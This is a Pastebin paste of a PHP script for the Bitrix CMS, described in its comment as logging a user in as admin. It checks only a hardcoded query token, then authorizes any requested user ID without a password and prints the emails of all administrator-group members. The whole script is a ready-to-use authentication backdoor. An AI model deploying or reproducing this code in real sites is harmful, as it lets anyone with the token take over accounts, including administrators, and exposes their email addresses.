Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Авторизация пользователя в битриксе под админом
- */
- use Bitrix\Main\Context;
- define("NO_KEEP_STATISTIC", true);
- require $_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php";
- $request = Context::getCurrent()->getRequest();
- if ($request->get('auth') !== 'wrgwrign') {
- return;
- }
- $userId = (int)$request->get('user_id');
- if ($userId > 0) {
- global $USER;
- $USER->Authorize($userId);
- }
- $dbResult = \Bitrix\Main\UserGroupTable::getList([
- 'select' => [
- 'USER_ID',
- 'USER_EMAIL' => 'USER.EMAIL',
- ],
- 'filter' => [
- '=GROUP_ID' => 1
- ]
- ]);
- $arUsers = [];
- while ($row = $dbResult->fetch()){
- $arUsers[$row['USER_ID']] = $row['USER_EMAIL'];
- }
- echo '<pre>';
- print_r($arUsers);
- echo '</pre>';
Add Comment
Please, Sign In to add comment